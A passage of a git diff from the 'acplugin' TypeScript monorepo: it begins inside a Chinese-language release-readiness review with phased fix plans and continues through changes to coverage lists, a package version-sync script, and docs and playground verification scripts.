Node,而产物契约是 Node 20。当前没有找到可稳定复现的 Node 22-only builtin反例,因此不列 Finding;应在 Node 20 job对每个允许 external 做真实 import/execute closure。 +11. 当前本地 `release:verify` 在 Node 22 运行;workflow 的 Node 20 consumer设计正确,但本轮未在本机切换 Node 20 重跑。该项应继续由 CI Verify job守卫。 + +## 8. Recommended Fix Order + +### Phase 0 — 立即冻结错误发行路径 + +- **Scope:** F-01、F-02;移出 stable promotion Changeset,确定 beta prerelease 规则,增加版本快照 generator/check。 +- **Non-goals:** 不 publish、不创建 tag/release、不统一九包版本、不引入 fixed group。 +- **测试:** changeset status、Patch 临时副本演练、lint/typecheck、diff check、release:verify。 +- **DoD:** 不可能由当前 Patch 产生稳定 1.0;version PR 自动同步 snapshot;所有当前质量门通过。 + +### Phase 1 — 修复输出完整性协议 + +- **Scope:** F-03、F-04;锁的原子发布/owner、目录 durability barrier、完整 persistent crash matrix。 +- **Non-goals:** 不重写 AssetRegistry、PackageUnit、candidate materialization 或 subset semantics。 +- **测试:** 子进程 kill + FS fault injection 覆盖每个 marker/link/rename/unlink/fsync/cleanup 窗口。 +- **DoD:** 活 writer 不被抢占;死/截断锁自动安全恢复;未 committed 永远回到旧完整输出;durable committed 永远保留新完整输出;无人工删除内部文件要求。 + +### Phase 2 — 让 DevSession 所有路径到达可观察终态 + +- **Scope:** F-05、F-06;原子 watcher reconcile、round error report、close finally terminalizer、CLI signal error path。 +- **Non-goals:** 不增加第二 watcher、跨 round cache或 Integration watcher hook。 +- **测试:** watcher API fault matrix、active failure、并发 close、listener failure、SIGINT/SIGTERM 三窗口、current 语义回归。 +- **DoD:** 每个 start 有且仅有一个 complete;closed 恰好一次且 Promise 必 settle;无 unhandled rejection/悬挂 handle;last-good 输出/graph恢复成立。 + +### Phase 3 — 收紧 Core build 与 MCP/Platform 信任边界 + +- **Scope:** F-07、F-08、F-09、F-10。 +- **Non-goals:** 不把目标 wire 下沉 Core;不新增第三套 compiler profile;不限制合法第三方 Contributor 只能来自官方包。 +- **测试:** managed chunk/asset绝对路径矩阵、真实 MCP handshake负例、descriptor exact union、OpenCode public SDK hostile fixture。 +- **DoD:** deterministic 普通 build可用且所有 bytes 无物理根;伪 MCP失败;作者文档化 entry成功;OpenCode只接受固定 local bundle closure;官方六平台输出继续通过。 + +### Phase 4 — 清理派生诊断并完成最终回归 + +- **Scope:** F-11、`DevSession.current` 公共语义、历史 finding 状态与文档同步。 +- **Non-goals:** 不增加 Extension dependency/order/override 系统,不为了共用 validator 制造 Core wire abstraction。 +- **测试:** failed+successful Extensions×多 Platform、全量 commands、九 tarball clean consumer、Node 20 Verify job。 +- **DoD:** 错误 owner/phase 精确,无派生噪声;文档/类型/测试描述同一 current 语义;所有临时反例转为仓库回归测试。 + +最终统一 DoD: + +```text +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build +pnpm run docs:check +pnpm run release:verify +git diff --check +git diff --cached --check +pnpm changeset status --output /dev/stdout +``` + +除命令全部通过外,`changeset status` 还必须保持 beta,且本报告列出的 hostile/crash fixtures 必须从“错误地成功/悬挂”变为预期失败或安全恢复。 + +## 9. Final Decision + +**`NOT_READY`** + +原因不是总体架构偏航,也不是需要推倒 Kernel v2;原因是当前仍有可复现的 release blocker、transaction crash blocker、DevSession terminal-state blocker、MCP protocol false positive、OpenCode final-validation bypass 和 managed deterministic output leak。先按 Phase 0–3 修复 P1,再完成 Phase 4 和全量 DoD,可重新评估为 `READY_WITH_NON_BLOCKING_FOLLOWUPS` 或 `READY`。 diff --git a/scripts/comment-coverage.json b/scripts/comment-coverage.json index c116b83..33378cf 100644 --- a/scripts/comment-coverage.json +++ b/scripts/comment-coverage.json @@ -2,6 +2,7 @@ "schemaVersion": 1, "enforcedFiles": [ "packages/acplugin/src/cli.ts", + "packages/acplugin/src/ecosystem-versions.ts", "packages/acplugin/src/index.ts", "packages/acplugin/src/init.ts", "packages/acplugin/src/migration/index.ts", @@ -11,38 +12,62 @@ "packages/acplugin/src/migration/legacy/types.ts", "packages/acplugin/src/migration/legacy/utils/frontmatter.ts", "packages/acplugin/src/migration/legacy/utils/fs.ts", - "packages/acplugin/src/project-config.ts", - "packages/acplugin/src/run-project.ts", - "packages/acplugin/test/config-loader.test.ts", + "packages/acplugin/src/project.ts", + "packages/acplugin/src/version.ts", + "packages/acplugin/src/sdk.ts", + "packages/acplugin/test/sdk-boundary.test.ts", "packages/acplugin/tsdown.config.ts", - "packages/core/src/artifacts.ts", - "packages/core/src/config.ts", - "packages/core/src/contracts.ts", - "packages/core/src/diagnostics.ts", - "packages/core/src/delivery-units.ts", - "packages/core/src/documents.ts", + "packages/core/src/compiler/compiler-host.ts", + "packages/core/src/compiler/engine-loader.ts", + "packages/core/src/compiler/job-normalizer.ts", + "packages/core/src/compiler/managed-auditor.ts", + "packages/core/src/compiler/managed-boundary.ts", + "packages/core/src/compiler/managed-options.ts", + "packages/core/src/compiler/physical-path-auditor.ts", + "packages/core/src/compiler/portable-auditor.ts", + "packages/core/src/compiler/license-pipeline.ts", + "packages/core/src/compiler/portable-options.ts", + "packages/core/src/compiler/portable-policy.ts", "packages/core/src/index.ts", - "packages/core/src/lifecycle.ts", - "packages/core/src/output-paths.ts", - "packages/core/src/reports.ts", - "packages/core/src/scanner.ts", + "packages/core/src/kernel/build-session.ts", + "packages/core/src/kernel/project.ts", + "packages/core/src/kernel-contracts.ts", + "packages/core/src/kernel-author.ts", + "packages/core/src/kernel/asset-registry.ts", + "packages/core/src/kernel/build-session-scope.ts", + "packages/core/src/kernel/config-resolver.ts", + "packages/core/src/kernel/dev-session.ts", + "packages/core/src/kernel/data-boundary.ts", + "packages/core/src/kernel/diagnostic-registry.ts", + "packages/core/src/kernel/execution-host.ts", + "packages/core/src/kernel/extension-state.ts", + "packages/core/src/kernel/module-host.ts", + "packages/core/src/kernel/path-policy.ts", + "packages/core/src/kernel/report-safety.ts", + "packages/core/src/kernel/source-registry.ts", + "packages/core/src/kernel/work-directories.ts", + "packages/core/src/kernel/watch-registry.ts", + "packages/core/src/kernel-sdk.ts", + "packages/core/src/kernel-types.ts", + "packages/core/src/package/compatibility-registry.ts", + "packages/core/src/package/candidate-materializer.ts", + "packages/core/src/package/document-codec.ts", + "packages/core/src/package/distribution-registry.ts", + "packages/core/src/package/json-snapshot.ts", + "packages/core/src/package/package-registry.ts", + "packages/core/src/package/report-builder.ts", + "packages/core/src/resources/canonical-provider.ts", + "packages/core/src/resources/extension-provider.ts", + "packages/core/src/resources/project-graph.ts", + "packages/core/src/resources/public-provider.ts", + "packages/core/src/resources/resource-registry.ts", + "packages/core/src/resources/runtime-paths.ts", + "packages/core/src/resources/runtime-provider.ts", "packages/core/src/serialization.ts", "packages/core/src/transaction.ts", - "packages/core/src/types.ts", - "packages/core/test/core.test.ts", - "packages/core/test/artifacts.test.ts", - "packages/core/test/contracts.test.ts", - "packages/core/test/contracts.types.ts", - "packages/core/test/compatibility.test.ts", - "packages/core/test/config.test.ts", - "packages/core/test/delivery-units.test.ts", - "packages/core/test/diagnostics.test.ts", - "packages/core/test/documents.test.ts", - "packages/core/test/graph.test.ts", - "packages/core/test/lifecycle.test.ts", - "packages/core/test/locking.test.ts", - "packages/core/test/scanner.test.ts", - "packages/core/test/transaction.test.ts", + "packages/core/test/kernel-contracts.test.ts", + "packages/core/test/asset-registry.test.ts", + "packages/core/test/source-registry.test.ts", "packages/core/tsdown.config.ts", "packages/docs/.vitepress/config.mts", "packages/docs/.vitepress/theme/index.ts", @@ -63,6 +88,7 @@ "packages/playground/src/mcp/oauth-docs/mcp.ts", "packages/playground/src/mcp/protected-docs/mcp.ts", "packages/playground/src/mcp/public-docs/mcp.ts", + "packages/playground/src/runtime/main.ts", "packages/test/test/architecture.test.ts", "packages/test/test/build.test.ts", "packages/test/test/cli.test.ts", @@ -73,9 +99,11 @@ "packages/test/test/extension-api.types.ts", "packages/test/test/hooks.test.ts", "packages/test/test/init.test.ts", + "packages/test/test/kernel-v2-architecture.test.ts", "packages/test/test/legacy-api.types.ts", "packages/test/test/migration.test.ts", "packages/test/test/secondary-platforms.test.ts", + "packages/test/test/sdk-package-boundary.test.ts", "packages/test/test/package-boundaries.test.ts", "packages/test/test/public-api.types.ts", "packages/test/test/repository.test.ts", @@ -130,23 +158,38 @@ "packages/platforms/pi/test/platform.test.ts", "packages/platforms/pi/tsdown.config.ts", "packages/platforms/pi/vitest.config.ts", - "packages/extensions/hooks/src/adapters.ts", - "packages/extensions/hooks/src/bundler.ts", + "packages/extensions/hooks/src/build.ts", "packages/extensions/hooks/src/constants.ts", + "packages/extensions/hooks/src/contributors/antigravity.ts", + "packages/extensions/hooks/src/contributors/claude-code.ts", + "packages/extensions/hooks/src/contributors/codex.ts", + "packages/extensions/hooks/src/contributors/common.ts", + "packages/extensions/hooks/src/contributors/cursor.ts", + "packages/extensions/hooks/src/contributors/index.ts", + "packages/extensions/hooks/src/contributors/opencode.ts", + "packages/extensions/hooks/src/contributors/pi.ts", "packages/extensions/hooks/src/discovery.ts", "packages/extensions/hooks/src/index.ts", "packages/extensions/hooks/src/runtime-source.ts", - "packages/extensions/hooks/src/runtime-adapter-source.ts", + "packages/extensions/hooks/src/runtime-integration-source.ts", "packages/extensions/hooks/src/types.ts", "packages/extensions/hooks/src/wire-source.ts", "packages/extensions/hooks/test/hooks.test.ts", "packages/extensions/hooks/test/hooks.types.ts", "packages/extensions/hooks/tsdown.config.ts", "packages/extensions/mcp/src/index.ts", - "packages/extensions/mcp/src/adapters.ts", - "packages/extensions/mcp/src/bundler.ts", + "packages/extensions/mcp/src/build.ts", "packages/extensions/mcp/src/constants.ts", + "packages/extensions/mcp/src/contributors/antigravity.ts", + "packages/extensions/mcp/src/contributors/claude-code.ts", + "packages/extensions/mcp/src/contributors/codex.ts", + "packages/extensions/mcp/src/contributors/common.ts", + "packages/extensions/mcp/src/contributors/cursor.ts", + "packages/extensions/mcp/src/contributors/index.ts", + "packages/extensions/mcp/src/contributors/opencode.ts", + "packages/extensions/mcp/src/contributors/pi.ts", "packages/extensions/mcp/src/discovery.ts", + "packages/extensions/mcp/src/sorting.ts", "packages/extensions/mcp/src/types.ts", "packages/extensions/mcp/test/mcp.test.ts", "packages/extensions/mcp/tsdown.config.ts", diff --git a/scripts/public-packages.mjs b/scripts/public-packages.mjs new file mode 100644 index 0000000..408c52c --- /dev/null +++ b/scripts/public-packages.mjs @@ -0,0 +1,15 @@ +/** Main public facade package used by every official Integration peer. */ +export const mainPublicPackageName = '@tokenroll/acplugin'; + +/** Stable manifest order for the independently versioned public package ecosystem. */ +export const publicPackageManifestPaths = Object.freeze([ + 'packages/acplugin/package.json', + 'packages/platforms/claude-code/package.json', + 'packages/platforms/codex/package.json', + 'packages/platforms/cursor/package.json', + 'packages/platforms/antigravity/package.json', + 'packages/platforms/opencode/package.json', + 'packages/platforms/pi/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', +]); diff --git a/scripts/sync-ecosystem-versions.mjs b/scripts/sync-ecosystem-versions.mjs new file mode 100644 index 0000000..9d6cf65 --- /dev/null +++ b/scripts/sync-ecosystem-versions.mjs @@ -0,0 +1,45 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import process from 'node:process'; +import { fileURLToPath, URL } from 'node:url'; +import { publicPackageManifestPaths } from './public-packages.mjs'; + +/** Current repository root resolved independently from the invoking cwd. */ +const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); +/** Generated snapshot consumed by init, Migration and release verification. */ +const snapshotPath = path.join(root, 'packages/acplugin/src/ecosystem-versions.json'); + +/** Read and validate the fixed public package manifest catalog. */ +async function publicVersions() { + /** Prevent a catalog typo from silently reading the same manifest twice. */ + if (new Set(publicPackageManifestPaths).size !== publicPackageManifestPaths.length) + throw new Error('Public package manifest catalog contains duplicate paths.'); + /** Stable insertion order is the catalog order, not filesystem or locale order. */ + const versions = {}; + for (const relative of publicPackageManifestPaths) { + /** Public manifest content is the only editable version source. */ + const manifest = JSON.parse(await fs.readFile(path.join(root, relative), 'utf8')); + if (typeof manifest.name !== 'string' || !manifest.name.startsWith('@tokenroll/') + || typeof manifest.version !== 'string' || manifest.version.length === 0 || manifest.private === true) { + throw new Error(`Public package manifest is invalid: ${relative}`); + } + if (Object.hasOwn(versions, manifest.name)) + throw new Error(`Public package name is duplicated: ${manifest.name}`); + versions[manifest.name] = manifest.version; + } + return versions; +} + +/** Exact generated bytes include stable indentation and one trailing newline. */ +const expected = `${JSON.stringify(await publicVersions(), null, 2)}\n`; +/** The command has one explicit mutation mode and one read-only verification mode. */ +const mode = process.argv[2]; +if (mode === '--write') { + await fs.writeFile(snapshotPath, expected); +} else if (mode === '--check') { + const actual = await fs.readFile(snapshotPath, 'utf8').catch(() => ''); + if (actual !== expected) + throw new Error('Public package version snapshot is stale. Run pnpm run versions:sync.'); +} else { + throw new Error('Usage: sync-ecosystem-versions.mjs --write|--check'); +} diff --git a/scripts/verify-docs.mjs b/scripts/verify-docs.mjs index 2aee7aa..7e8db7d 100644 --- a/scripts/verify-docs.mjs +++ b/scripts/verify-docs.mjs @@ -8,15 +8,19 @@ const root = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); const apiDirectory = path.join(root, 'packages/docs/api'); /** 必须作为 TypeDoc package 模块出现的公开 package 及其代表 API 页面。 */ const publicPackages = [ - { name: '@tokenroll/acplugin', api: 'functions/defineConfig.md' }, + { + name: '@tokenroll/acplugin', + api: 'functions/defineConfig.md', + sdk: ['functions/definePlatform.md', 'interfaces/PlatformContributor.md', 'interfaces/CompilerService.md'], + }, { name: '@tokenroll/acplugin-platform-antigravity', api: 'functions/antigravity.md' }, { name: '@tokenroll/acplugin-platform-claude-code', api: 'functions/claudeCode.md' }, { name: '@tokenroll/acplugin-platform-codex', api: 'functions/codex.md' }, { name: '@tokenroll/acplugin-platform-cursor', api: 'functions/cursor.md' }, { name: '@tokenroll/acplugin-platform-opencode', api: 'functions/openCode.md' }, { name: '@tokenroll/acplugin-platform-pi', api: 'functions/pi.md' }, - { name: '@tokenroll/acplugin-extension-hooks', api: 'functions/defineHook.md' }, - { name: '@tokenroll/acplugin-extension-mcp', api: 'functions/defineMcpServer.md' }, + { name: '@tokenroll/acplugin-extension-hooks', api: 'interfaces/Hook.md' }, + { name: '@tokenroll/acplugin-extension-mcp', api: 'type-aliases/McpServer.md' }, ]; /** 不得成为 TypeDoc package 模块的私有 workspace。 */ const privatePackages = ['@acplugin/core', '@acplugin/test', '@acplugin/docs', '@acplugin/playground']; @@ -71,6 +75,8 @@ async function main() { const packageDirectory = path.join(apiDirectory, packageEntry.name); assert(await pathExists(path.join(packageDirectory, 'index.md')), `Generated API is missing package page ${packageEntry.name}.`); assert(await pathExists(path.join(packageDirectory, packageEntry.api)), `Generated API is missing representative API for ${packageEntry.name}.`); + for (const sdkApi of packageEntry.sdk ?? []) + assert(await pathExists(path.join(packageDirectory, sdkApi)), `Generated API is missing SDK API ${packageEntry.name}/${sdkApi}.`); assert(source.includes(`/api/${packageEntry.name}/`), `Generated sidebar is missing public package ${packageEntry.name}.`); } for (const packageName of privatePackages) { diff --git a/scripts/verify-playground.mjs b/scripts/verify-playground.mjs index 7d002cb..9752b00 100644 --- a/scripts/verify-playground.mjs +++ b/scripts/verify-playground.mjs @@ -129,6 +129,11 @@ function compatibilityLookupKey(platform, subject, capability) { return `${platform}\0${subject}\0${capability}`; } +/** 把 canonical Hook 事件名转换为报告 capability 后缀。 */ +function hookEventCapability(event) { + return event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase(); +} + /** 读取 UTF-8 文件。 */ async function readText(file) { return fs.readFile(file, 'utf8'); @@ -161,7 +166,7 @@ async function listFiles(directory, prefix = '') { for (const entry of entries) { /** 当前条目的绝对路径。 */ const absolute = path.join(directory, entry.name); - /** Artifact Registry 使用的 POSIX 相对路径。 */ + /** Package Asset 使用的 POSIX 相对路径。 */ const relative = prefix === '' ? entry.name : `${prefix}/${entry.name}`; assert(!entry.isSymbolicLink(), `Playground output contains unexpected symlink ${relative}.`); if (entry.isDirectory()) @@ -265,51 +270,55 @@ function expectedNonNativeEntries() { addExpected(expected, 'opencode', 'degraded', 'agent:reflector', 'agent.model'); for (const platform of ['antigravity', 'codex', 'cursor', 'opencode']) - addExpected(expected, platform, 'degraded', 'command:init', 'argumentHint'); - /** 依赖 Agent 降级后必须传播到对应 Command 的稳定映射。 */ + addExpected(expected, platform, 'degraded', 'command:init', 'argument-hint'); + /** 依赖 Agent 的 Component 降级后必须传播到转换型 Command。 */ const dependencyCommands = { prune: 'reflector', update: 'investigator', upgrade: 'recorder', }; - for (const platform of ['antigravity', 'codex', 'cursor', 'pi']) { - for (const [command, agent] of Object.entries(dependencyCommands)) - addExpected(expected, platform, 'degraded', `command:${command}`, `dependency:agent:${agent}`); + for (const platform of ['antigravity', 'codex', 'pi']) { + for (const command of Object.keys(dependencyCommands)) + addExpected(expected, platform, 'degraded', `command:${command}`, 'component'); } - for (const [command, agent] of Object.entries(dependencyCommands).filter(([id]) => id !== 'upgrade')) - addExpected(expected, 'opencode', 'degraded', `command:${command}`, `dependency:agent:${agent}`); for (const platform of platforms) { for (const [id, event] of Object.entries(hookEvents)) { /** 当前事件在目标 Platform 的精确支持等级。 */ const level = hookEventLevels[platform][id]; if (level === 'degraded' || level === 'unsupported') - addExpected(expected, platform, level, `hook:${id}`, `event.${event}`); + addExpected(expected, platform, level, `hook:${id}`, `event.${hookEventCapability(event)}`); } } for (const platform of ['antigravity', 'cursor', 'opencode', 'pi']) { for (const hook of ['pre-tool-use', 'session-start']) - addExpected(expected, platform, 'degraded', `hook:${hook}`, 'statusMessage'); + addExpected(expected, platform, 'degraded', `hook:${hook}`, 'status-message'); } for (const platform of ['antigravity', 'cursor']) { addExpected(expected, platform, 'unsupported', 'mcp:local-tools', 'transport.stdio'); - addExpected(expected, platform, 'degraded', 'mcp:oauth-docs', 'auth.oauth.scopes'); + addExpected(expected, platform, 'degraded', 'mcp:oauth-docs', 'auth.oauth'); } addExpected(expected, 'pi', 'unsupported', 'mcp:local-tools', 'transport.stdio'); for (const id of ['oauth-docs', 'protected-docs', 'public-docs']) addExpected(expected, 'pi', 'unsupported', `mcp:${id}`, 'transport.http'); - assert(expected.size === 84, 'Playground verifier has an inconsistent non-native policy table.'); + for (const platform of ['antigravity', 'cursor', 'opencode', 'pi']) + addExpected(expected, platform, 'unsupported', 'runtime:playground', 'node20-esm'); + assert(expected.size === 83, 'Playground verifier has an inconsistent non-native policy table.'); return expected; } -/** 校验报告结构、兼容性矩阵、诊断和 DeliveryUnit 覆盖。 */ +/** 校验报告结构、兼容性矩阵、诊断和 Package 覆盖。 */ function verifyReport(report, command) { + assert(report.schemaVersion === 2, 'Playground report does not use schema v2.'); assert(report.success === true, `Playground ${command} did not succeed.`); assert(report.command === command, `Playground ${command} report has the wrong command.`); assert(report.committed === (command === 'build'), `Playground ${command} has the wrong committed state.`); - assert(JSON.stringify(report.platforms) === JSON.stringify(platforms), 'Playground report has the wrong Platform set.'); - assert(report.compatibility.length === 211, 'Playground compatibility coverage changed unexpectedly.'); + assert(JSON.stringify(report.platforms.map(platform => platform.id)) === JSON.stringify(platforms), 'Playground report has the wrong Platform set.'); + assert(report.platforms.every(platform => platform.selected && platform.success), 'Playground report contains an unsuccessful Platform.'); + assert(report.runtimes.length === 1 && report.runtimes[0].id === 'playground' && report.runtimes[0].built, 'Playground Runtime report is incomplete.'); + assert(report.compatibility.length === 210, 'Playground compatibility coverage changed unexpectedly.'); + assert(report.metadata.length === 66, 'Playground metadata coverage changed unexpectedly.'); /** 所有 compatibility 条目的唯一查询索引。 */ const compatibility = new Map(); @@ -339,19 +348,30 @@ function verifyReport(report, command) { 'pi': { command: 'transform', skill: 'native', agent: 'degraded' }, }; for (const platform of platforms) { - for (const command of commands) - expectLevel(platform, `command:${command}`, 'component', componentLevels[platform].command); + for (const command of commands) { + /** 转换型 Command 会继承 fallback Agent 的 Component 降级。 */ + const level = command !== 'init' && ['antigravity', 'codex', 'pi'].includes(platform) + ? 'degraded' + : componentLevels[platform].command; + expectLevel(platform, `command:${command}`, 'component', level); + } expectLevel(platform, 'skill:project-workflow', 'component', componentLevels[platform].skill); for (const agent of agents) expectLevel(platform, `agent:${agent}`, 'component', componentLevels[platform].agent); for (const [id, event] of Object.entries(hookEvents)) - expectLevel(platform, `hook:${id}`, `event.${event}`, hookEventLevels[platform][id]); + expectLevel(platform, `hook:${id}`, `event.${hookEventCapability(event)}`, hookEventLevels[platform][id]); + expectLevel( + platform, + 'runtime:playground', + 'node20-esm', + platform === 'claude-code' || platform === 'codex' ? 'native' : 'unsupported', + ); } /** 每个平台必须精确报告的 MCP 能力键与等级。 */ const mcpLevels = { 'antigravity': [ - ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth.scopes', 'degraded'], + ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth', 'degraded'], ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], ['public-docs', 'transport.http', 'native'], @@ -369,7 +389,7 @@ function verifyReport(report, command) { ['public-docs', 'transport.http', 'native'], ], 'cursor': [ - ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth.scopes', 'degraded'], + ['local-tools', 'transport.stdio', 'unsupported'], ['oauth-docs', 'auth.oauth', 'degraded'], ['oauth-docs', 'transport.http', 'native'], ['protected-docs', 'auth.bearer', 'native'], ['protected-docs', 'transport.http', 'native'], ['public-docs', 'auth.none', 'native'], ['public-docs', 'transport.http', 'native'], @@ -406,13 +426,7 @@ function verifyReport(report, command) { assert(expectedNonNative.has(key), `Playground report contains unexpected non-native entry ${key.replaceAll('\0', ' / ')}.`); /** 允许的非兼容性诊断及其精确数量。 */ - const diagnosticCounts = { - ANTIGRAVITY_METADATA_OMITTED: 8, - COMPATIBILITY_RELAXED: 84, - CURSOR_METADATA_AUTHOR_URL_OMITTED: 1, - METADATA_OMITTED: 18, - PI_METADATA_DISPLAY_NAME_OMITTED: 1, - }; + const diagnosticCounts = { COMPATIBILITY_RELAXED: 83 }; /** 按稳定 code 汇总报告诊断。 */ const actualDiagnosticCounts = Object.fromEntries(Object.entries(Object.groupBy(report.diagnostics, item => item.code)) .map(([code, items]) => [code, items.length])); @@ -432,24 +446,25 @@ function verifyReport(report, command) { 'opencode\0workspace\0primary\0workspace', 'pi\0package\0primary\0package', ]; - /** 实际 DeliveryUnit 的结构化身份。 */ - const actualUnits = report.deliveryUnits.map(unit => `${unit.platform}\0${unit.id}\0${unit.role}\0${unit.type}`); - assert(JSON.stringify(actualUnits) === JSON.stringify(expectedUnits), 'Playground DeliveryUnit topology changed unexpectedly.'); + /** 实际 Package 的结构化身份。 */ + const actualUnits = report.packages.map(unit => `${unit.platform}\0${unit.id}\0${unit.role}\0${unit.type}`); + assert(JSON.stringify(actualUnits) === JSON.stringify(expectedUnits), 'Playground Package topology changed unexpectedly.'); + assert(report.packages.every(unit => unit.validated), 'Playground report contains an unvalidated Package.'); } -/** 校验报告 Artifact 清单与 dist 中实际文件精确一致。 */ +/** 校验报告 Asset 清单与 dist 中实际文件精确一致。 */ async function verifyArtifactClosure(report) { /** dist 只能包含本次选择的六个平台目录。 */ const platformDirectories = (await fs.readdir(outputRoot)).sort(compareCodeUnits); assert(JSON.stringify(platformDirectories) === JSON.stringify(platforms), 'Managed dist contains a stale or missing Platform directory.'); - for (const unit of report.deliveryUnits) { + for (const unit of report.packages) { /** 当前交付单元的真实安装根。 */ const directory = path.join(outputRoot, unit.platform, unit.id); - /** 文件系统实际 materialize 的 Artifact 路径。 */ + /** 文件系统实际 materialize 的 Asset 路径。 */ const actual = (await listFiles(directory)).sort(compareCodeUnits); - /** 报告中经过 owner/hash 校验的 Artifact 路径。 */ - const reported = unit.artifacts.map(artifact => artifact.path).sort(compareCodeUnits); - assert(JSON.stringify(actual) === JSON.stringify(reported), `${unit.platform}/${unit.id} files do not match the BuildResult Artifact registry.`); + /** 报告中经过 owner/hash 校验的 Asset 路径。 */ + const reported = unit.assets.map(asset => asset.path).sort(compareCodeUnits); + assert(JSON.stringify(actual) === JSON.stringify(reported), `${unit.platform}/${unit.id} files do not match the BuildReport Asset registry.`); } } @@ -470,8 +485,8 @@ async function verifyCanonicalOutputs() { 'antigravity': id => `skills/command-${id}/SKILL.md`, /** Claude Code 保留原生 Command。 */ 'claude-code': id => `commands/${id}.md`, - /** Codex 把 Command 转换为 Skill。 */ - 'codex': id => `skills/command-${id}/SKILL.md`, + /** Codex 把 Command 转换为 Plugin-prefixed Skill。 */ + 'codex': id => `skills/acplugin-playground-${id}/SKILL.md`, /** Cursor 保留原生 Command。 */ 'cursor': id => `commands/${id}.md`, /** OpenCode 把 Command 写入工作区目录。 */ @@ -587,7 +602,7 @@ async function verifyManifestsAndDistributions() { assert(cursor.logo === './assets/acplugin.svg' && cursor.minClientVersions.cursor === '1.0.0', 'Cursor Platform options were not emitted.'); /** Antigravity 只允许已确认的最小 Manifest。 */ const antigravity = await readJson(path.join(outputRoot, 'antigravity/plugin/plugin.json')); - assert(JSON.stringify(antigravity) === '{"name":"acplugin-capability-playground"}', 'Antigravity manifest contains an unverified field.'); + assert(JSON.stringify(antigravity) === '{"name":"acplugin-playground"}', 'Antigravity manifest contains an unverified field.'); /** OpenCode Workspace Config 由 schema 与 MCP add-only patch 组成。 */ const openCode = await readJson(path.join(outputRoot, 'opencode/workspace/opencode.json')); assert(openCode.$schema === 'https://opencode.ai/config.json' && Object.keys(openCode.mcp).length === 4, 'OpenCode workspace config is incomplete.'); @@ -617,7 +632,7 @@ async function verifyManifestsAndDistributions() { const primary = await fs.readFile(path.join(primaryRoot, file)); /** Marketplace 中对应文件的字节。 */ const distributed = await fs.readFile(path.join(marketplaceRoot, file)); - assert(primary.equals(distributed), `${platform} Marketplace changed inherited Artifact ${file}.`); + assert(primary.equals(distributed), `${platform} Marketplace changed inherited Asset ${file}.`); } } } @@ -650,7 +665,7 @@ function hookInput(event) { return { ...input, stop_hook_active: true, last_assistant_message: 'Done.' }; } -/** 校验 Hook 配置引用、支持矩阵、运行文件和真实 Handler/wire 协议。 */ +/** 校验 Hook 配置引用、支持矩阵、自包含运行文件和真实平台协议。 */ async function verifyHooks() { /** 每个平台的 Hook 运行文件根。 */ const hookRoots = { @@ -672,23 +687,19 @@ async function verifyHooks() { }; for (const platform of platforms) { for (const [id, event] of Object.entries(hookEvents)) { - /** unsupported 事件不得留下 Handler、wire 或配置引用。 */ + /** unsupported 事件不得留下 Handler 或配置引用。 */ const supported = hookEventLevels[platform][id] !== 'unsupported'; /** 当前 Platform 中 handler 的绝对路径。 */ const handler = path.join(hookRoots[platform], id, 'handler.mjs'); - /** 当前 Platform 中 wire profile 的绝对路径。 */ - const wire = path.join(hookRoots[platform], id, 'wire.mjs'); assert(await exists(handler) === supported, `${platform} has wrong Handler presence for ${id}.`); - assert(await exists(wire) === supported, `${platform} has wrong wire presence for ${id}.`); assert(configurationText[platform].includes(id) === supported, `${platform} has wrong Hook config reference for ${id}.`); if (!supported) continue; - /** Handler 必须是可执行文件,wire 必须是普通只读数据代码。 */ + /** 自包含 Handler 必须是唯一且可执行的 JavaScript 运行文件。 */ const handlerMode = (await fs.stat(handler)).mode & 0o777; - /** 当前 wire 文件的权限位。 */ - const wireMode = (await fs.stat(wire)).mode & 0o777; - assert(handlerMode === 0o755 && wireMode === 0o644, `${platform} ${id} has wrong runtime modes.`); - /** 使用真实平台 wire 执行当前 Handler。 */ + assert(handlerMode === 0o755, `${platform} ${id} has wrong runtime mode.`); + assert(!await exists(path.join(hookRoots[platform], id, 'wire.mjs')), `${platform} ${id} leaked a runtime external.`); + /** 使用内联的真实平台 profile 执行当前 Handler。 */ const execution = await runProtocol(handler, [platform], JSON.stringify(hookInput(event)), { ANTIGRAVITY_PLUGIN_ROOT: hookRoots[platform], CLAUDE_PLUGIN_DATA: path.join(hookRoots[platform], '.data'), @@ -731,7 +742,7 @@ async function verifyMcp() { assert(openCode['protected-docs'].headers.Authorization === 'Bearer {env:PLAYGROUND_MCP_TOKEN}', 'OpenCode Bearer env reference is incorrect.'); assert(claude['oauth-docs'].oauth.scopes === 'resources:read templates:read', 'Claude Code OAuth scopes are incorrect.'); assert(JSON.stringify(codex['oauth-docs'].scopes) === '["resources:read","templates:read"]', 'Codex OAuth scopes are incorrect.'); - assert(JSON.stringify(openCode['oauth-docs'].oauth.scopes) === '["resources:read","templates:read"]', 'OpenCode OAuth scopes are incorrect.'); + assert(openCode['oauth-docs'].oauth.scope === 'resources:read templates:read', 'OpenCode OAuth scopes are incorrect.'); assert(cursor['oauth-docs'].scopes === undefined && antigravity['oauth-docs'].scopes === undefined, 'A degraded MCP adapter emitted unsupported OAuth scopes.'); assert(claude['local-tools'].type === 'stdio' && codex['local-tools'].command === 'node' && openCode['local-tools'].type === 'local', 'Supported local MCP descriptors are incomplete.'); assert(cursor['local-tools'] === undefined && antigravity['local-tools'] === undefined, 'Remote-only MCP adapter emitted local stdio configuration.'); @@ -778,6 +789,38 @@ async function verifyMcp() { } } +/** 校验 Node Runtime 的双平台同字节交付、权限、真实执行与 unsupported 空产物。 */ +async function verifyNodeRuntime() { + /** Claude Code 交付的 Runtime 可执行文件。 */ + const claude = path.join(outputRoot, 'claude-code/plugin/runtime/playground/main.mjs'); + /** Codex 交付的同一 Runtime 可执行文件。 */ + const codex = path.join(outputRoot, 'codex/plugin/runtime/playground/main.mjs'); + /** 两个平台文件必须逐字节相同,不能在 Adapter 